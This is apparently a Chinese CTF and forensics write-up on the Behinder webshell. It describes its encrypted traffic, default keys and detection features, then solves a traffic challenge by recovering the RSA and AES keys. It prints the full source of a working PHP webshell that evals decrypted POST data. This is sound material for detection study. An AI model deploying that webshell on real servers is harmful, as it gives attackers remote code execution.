简介

冰蝎是一个使用Java语言编写的新型Webshell客户端,区别于中国菜刀它通过动态加密其通信流量,使得传统的网络安全设备,如Web应用防火墙(WAF)和入侵检测系统(IDS),难以对其进行有效检测。这种加密方式大大增加了网络威胁狩猎的难度。冰蝎的一个显著特性是,它对用户交互过程中的数据流量进行对称加密,加密过程使用的密钥是随机生成的,这使得其通信流量很难被检测到。

冰蝎1.0

冰蝎1.0版本已基本不再使用,这里就先跳过

冰蝎2.0

通信流程

  • 客户端使用GET请求申请密钥(实际也有POST的请求方式)
  • 服务端随机生成密钥并且将其写入session,接着返回给客户端
  • 客户端获取密钥,使用密钥加密payload,再使用POST请求发给服务端
  • 服务端解密并且执行payload

流量特征

  • JSP类型的webshell,POST请求体数据均为base64编码,Content-Type为application/octet-stream,响应体数据均为二进制文件
  • 在最初的GET请求中存在.php?pass=格式,用于向服务端传递随机数,动态协商生成密钥
  • 加密所用密钥是长度为16的随机字符串,小写字母+数字组成,密钥传递阶段,密钥存在于Response Body中
  • 由于AES的密钥会被直接传递回来,所以拿到这串密钥便可解密POST body中通过AES加密的数据:

先对传递的密文进行base64解码,再使用密钥进行AES解密
其中POST返回包的数据解密后存在的固定的格式:{"status":"success","msg":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}

冰蝎3.0

冰蝎3和2相比,最重要的变化就是去除动态密钥协商机制,采用预共享密钥,全程无明文交互,其密钥被写在了webshell的源码中,其密钥的生成逻辑是:md5("密钥")[0:16];用AES加密 + base64编码,使用固定的连接密钥,AES加密的密钥为webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)。

流量特征

  • 与2.0版本类似,同样内置了十余种比较老的User Agent,POST请求体数据均为base64编码
  • 存在GET请求,同时URI只有一个key-value类型参数

冰蝎4.0

提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。

通信流程

  • 本地选择加密算法,生成服务端 Webshell,加密算法对 Payload 进行加密,然后数据通过 POST 请求发送给远程服务端
  • 服务端收到 Payload 密文后,利用解密算法进行解密;
  • 服务端执行解密后的 Payload,并获取执行结果;
  • 服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
  • 客户端收到响应密文后,利用解密算法解密,得到响应内容明文。

魔改思路

加密解密算法,除了默认的AES,可以使用DES、3DES、TDEA、Blowfish、Twofish、RC2、RC4、RC5、IDEA、SKIPJACK等对称加密算法
去除base64编码特征,请求体和响应体数据随机产生不定长度的额外字节数组
有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

流量特征

  • HTTP请求头

Accept: application/json, text/javascript, /; q=0.01
Content-type: application/x-www-form-urlencoded

  • Content-Length

数值相对常规的较大,可以作为弱特征去辅证

  • 长连接

冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有Connection: Keep-Alive,可以作为辅助认证为冰蝎流量的流量特征,与前面Content-Length字段作结合。

  • 默认密钥

在使用默认密钥进行连接时,所有响应头都相同,另外第二次请求头比较特殊,除此之外,所有的请求头都相同。

DAS-webshell_plus

接下来展开一道题目进行分析
拿到流量包 先筛选以下HTTP 关注GET和POST请求
看到以POST请求传入了一个shell文件
怀疑是有关密钥加密的 追踪一下

了解加解密原理

------WebKitFormBoundary2AdFNokm3wx5QuXV
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: text/php
<?php
@error_reporting(0);
session_start();
function geneB64RandStr(int $length): string
{
    $validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    $maxIndex = strlen($validChars) - 1;
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $validChars[random_int(0, $maxIndex)];
    }
    return $randomString;
}
if (isset($_POST['gene_key']) and $_POST['public_key']) {
    echo geneB64RandStr(8);
    $public_key = base64_decode($_POST['public_key']);
    $p = bin2hex(random_bytes(8));
    $key = substr(md5($p), 0, 16);
    $_SESSION['k'] = $key;
    if (extension_loaded('openssl')) {
        openssl_public_encrypt($p, $encrypted_key, $public_key, OPENSSL_PKCS1_PADDING);
        echo base64_encode($encrypted_key);
        echo geneB64RandStr(8);
        exit();
    } else {
        die("OpenSSL extension not available");
    }
} else {
    if(!isset($_SESSION['k'])){
        $key = "e45e329feb5d925b"; // Default key: rebeyond
        $_SESSION['k'] = $key;
    }
}
$key = $_SESSION['k'];
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>
------WebKitFormBoundary2AdFNokm3wx5QuXV--

了解到加解密原理判断这就是冰蝎3.0

解题步骤

追踪查看到公钥(先后进行url解码和base64解码得到)

-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFgmOymT9EJvC8sHTWxov0LQWSom
L5DPRiTUEnQnrDmKYGvNSNMJ3V1fR1hr9jQ6oepvQvjMyWsyTL6J3n9nbOGd5tey
/4BLTXHQyaXcSpfl3z61fBJzy91rZrXbzMY1adHH4VYyUoDQ7qkF2/RVnR8PJVzR
oJn+XaH3RabkzHitAgMBAAE=
-----END PUBLIC KEY-----

接下来就是要求出私钥然后得到密钥

根据公钥求得私钥

使用rsa算法 知道p q e即可求得私钥
使用在线网站解析公钥即可得到n和e
再使用yafu工具分解n就可以得到p和q
接下来就可以直接使用脚本即可

from Crypto.PublicKey import RSA
p = 
q = 
e = 
n = p * q
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
key = RSA.construct((n, e, d, p, q))
with open("pri.pem", "wb") as f:
    f.write(key.export_key("PEM"))

再现密钥交换,推导密钥

使用以下脚本还原出冰蝎3.0的交换过程 然后反推求出密钥

from base64 import b64decode
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
# 将下面两项替换成你实际的数据
encrypted_b64 = "xxxx"
private_key_pem = """-----BEGIN RSA PRIVATE KEY-----
xxxxx
-----END RSA PRIVATE KEY-----"""
# 解码Base64后的密文
encrypted_bytes = b64decode(encrypted_b64)
# 导入私钥
rsa_key = RSA.import_key(private_key_pem)
cipher_rsa = PKCS1_v1_5.new(rsa_key)
# 解密
sentinel = b""
decrypted_p = cipher_rsa.decrypt(encrypted_bytes, sentinel)
# 输出结果
print("[+] Recovered p (hex):", decrypted_p)
print("[+] Derived AES key (md5(p)[:16]):", __import__("hashlib").md5(decrypted_p).hexdigest()[:16])

拿到了密钥就可以去解密流量 之后就是常规操作